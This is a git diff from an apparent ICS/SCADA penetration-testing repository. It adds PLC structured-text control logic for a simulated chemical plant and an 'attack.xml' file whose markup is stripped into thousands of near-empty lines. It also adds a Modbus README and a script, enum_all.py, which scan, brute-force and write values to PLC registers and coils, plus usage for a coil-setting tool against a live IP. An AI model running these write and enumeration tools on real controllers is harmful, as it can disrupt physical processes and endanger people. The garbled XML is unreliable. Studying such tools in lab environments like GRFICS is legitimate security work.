100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + 